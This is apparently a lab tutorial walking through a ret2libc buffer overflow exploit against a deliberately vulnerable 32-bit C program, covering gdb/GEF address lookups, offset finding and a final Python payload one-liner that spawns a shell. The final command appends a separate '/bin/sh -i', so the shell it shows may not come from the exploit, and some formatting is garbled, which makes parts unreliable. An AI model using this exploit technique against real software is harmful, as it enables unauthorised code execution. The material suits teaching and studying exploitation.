Ret2Lib Stack Overflow Exploit Walkthrough
Introduction
In a stack-based buffer overflow, attackers typically inject shellcode into the stack and execute it by overwriting the return address. However, modern systems enforce NX (No eXecute), preventing code execution from the stack. If ASLR (Address Space Layout Randomization) is not present, attackers can bypass NX using return-to-libc (ret2libc) by redirecting execution to functions in libc, such as system(), instead of injecting shellcode.
Ret2libc works by overwriting the return address with a pointer to system(), allowing arbitrary command execution. Since libc is already loaded in memory, this technique avoids DEP/NX restrictions and leverages existing system calls to execute commands. However, it relies on dynamically linked binaries, as statically compiled programs may not include libc functions. In modern Linux environments, where dynamically linked binaries are common, ret2libc remains a widely used exploitation method.
Ret2LibMe.c Source Code
The below source code was used in this demonstration/walkthrough.
Ret2LibMe.c Source Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void process_input() {
char data[64];
printf("Provide input: ");
gets(data); // vulnerable
printf("Received: %s\n", data);
}
int main() {
printf("Ret2LibMe\n");
process_input();
return 0;
}
Compile:
1
gcc -fno-stack-protector -z noexecstack -o Ret2LibMe Ret2LibMe.c -Wno-implicit-function-declaration -m32
Step 1 - Initial Tests - fuzzing
The output below demonstrates how to check the binary’s properties using the file command. We also examine its security protections with checksec, which determines whether the NX bit is enabled. When NX is enabled, it prevents the stack from being executable. As can be seen below, NX is enabled on the binary, we can confirm this by inspecting the binary headers and filtering out the GNU_STACK section to determine whether the stack is marked as executable (RWE), non-executable (RW), or otherwise restricted.
Command to check binary properties using file.
1
file Ret2LibMe
Examine security protecting using checksec.
1
checksec --file=Ret2LibMe
Inspect binary headers and determine if stack is marked as executable (RWE) or Non-executable (RW)
1
readelf -l Ret2LibMe | grep GNU_STACK
Inspect binary headers command example:
As seen above, we have determined that the stack has been marked as non-executable. However, using libc we can bypass this restriction and gain code execution by targeting functions contained in libc which is loaded at runtime.
If we execute the binary, we are presented with an input prompt that accepts user input. After submitting random data, we see that the binary receives and echo’s back the data submitted.
Executing binary and submitting test data to observe behaviour.
1
./Ret2LibMe
The image below demonstrates random data being submitted to the program, which then echoes it back to us.
To determine if the application is vulnerable to a buffer overflow, we submit a series of ‘A’s as input, gradually increasing the amount until we observe a program crash. In the example below, we start by submitting 10 ‘A’s and incrementally increase by 10 until a crash occurs.
The below image demonstrates submitting a series of ‘A’s until an application crash (segmentation fault occurs).
Now that we have determined the application is likely vulnerable to a buffer overflow, we can proceed with locating the memory addresses of the target functions provided by libc, such as system(), exit(), and the “/bin/sh” string.
Step 2 - Finding Memory Addresses
Next we open the executable using GDB with the GEF extension installed. A break point is set at main break main.
Once the breakpoint is set at main, we execute the run command to allow the program to continue within GDB. After typing run, the program executes normally but will pause when the main function is reached. Once the program hits the breakpoint, we search memory for the following addresses:
- system →
p system
- exit →
p exit
- /bin/sh →
search-pattern "/bin/sh"
These functions do not exist in the Ret2LibMe
source code, but the compiled Ret2LibMe
binary relies on the C standard library (libc
), which contains these functions. This means that when the binary is executed, the libc library is loaded into memory at runtime, making the above functions available and a potential target for our attack.
To locate the /bin/sh address we can use the search-pattern tool within GEF extension of GDB. As the /bin/sh is simply a string, this will work. In order to find the system and exit address we need to run the command p system and p exit within GEF. This will give us the address of system and exit.
Locating the memory addresses of system, exit and /bin/sh.
It is important to locate the addresses of system, exit, and /bin/sh, as these are essential for developing the exploit. Once we have identified the memory addresses of these functions, we need to convert them to little-endian format. This is necessary because our target binary runs on a 32-bit (x86) architecture, where memory stores multi-byte values in reverse order (least significant byte first). For example, when writing an address such as 0xdeadbeef, it must be placed in memory as \xef\xbe\xad\xde to be correctly interpreted by the processor.
Convert the addresses for system, exit, and /bin/sh to little-endian format by reversing the byte order, as shown below:
system
- Original:
0xf7db74c0
- Little-endian:
\xc0\x74\xdb\xf7
- Original:
exit
- Original:
0xf7da3ac0
- Little-endian:
\xc0\x3a\xda\xf7
- Original:
/bin/sh
- Original:
0xf7f2ee3c
- Little-endian:
\x3c\xee\xf2\xf7
- Original:
Step 3 - Finding Offset
An offset in the context of buffer overflows is the exact number of bytes required to overwrite the saved return address on the stack. It helps identify where user input starts overwriting critical memory, allowing an attacker to control execution flow.
We can use the GEF extension within GDB to create a unique pattern of a specified number of bytes. The example below demonstrates using GEF to generate a 100-byte unique pattern, which will be saved and then used to calculate the offset of the buffer overflow.
GEF command to generate a 100-byte unique pattern.
1
pattern create 100
The image below demonstrates using the GBD GEF extension to generate a unique pattern, which is useful for identifying the offset in a buffer overflow exploit.
Open the Re2LibMe executable using GDB, submit the unique pattern created as the input and hit enter.
Executing Ret2LibMe within GDB and submitting pattern.
Once you hit enter the application crashes, we then type pattern search $eip as EIP stores the memory address of the next instruction to be executed. We can see that GDB has identified the offset at 76 bytes.
Step 4 - Crafting the Exploit to Gain a Shell
Now that we’ve identified the exact offset responsible for the crash, we can craft our exploit to execute a shell. Our exploit consists of a one-liner payload that will be submitted as user input to the Ret2LibMe application, leading to shell execution.
To achieve this, we use Python with sys.stdout.buffer.write(…), which allows us to submit the payload as raw bytes, preventing encoding issues that could arise if we used print(), such as unintended newline characters.
The payload itself consists of b”A”x76 to fill the buffer up to the return address, followed by the address of system(), which allows command execution.
Next, we provide the address of exit() to ensure the program terminates cleanly after execution.
Finally, we append the address of the “/bin/sh” string, which, when executed by system(), spawns a shell. The payload is piped into the vulnerable program using | ./Ret2LibMe
, which triggers the buffer overflow and redirects execution to system(“/bin/sh”).
The full exploit command is:
Final Exploit & Gaining Shell:
1
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*76 + b"\xc0\x74\xdb\xf7" + b"\xc0\x3a\xda\xf7" + b"\x3c\xee\xf2\xf7")' | ./Ret2LibMe; /bin/sh -i
And that’s it! You have successfully exploited return-to-libc (ret2libc), gaining control over execution and executing arbitrary commands.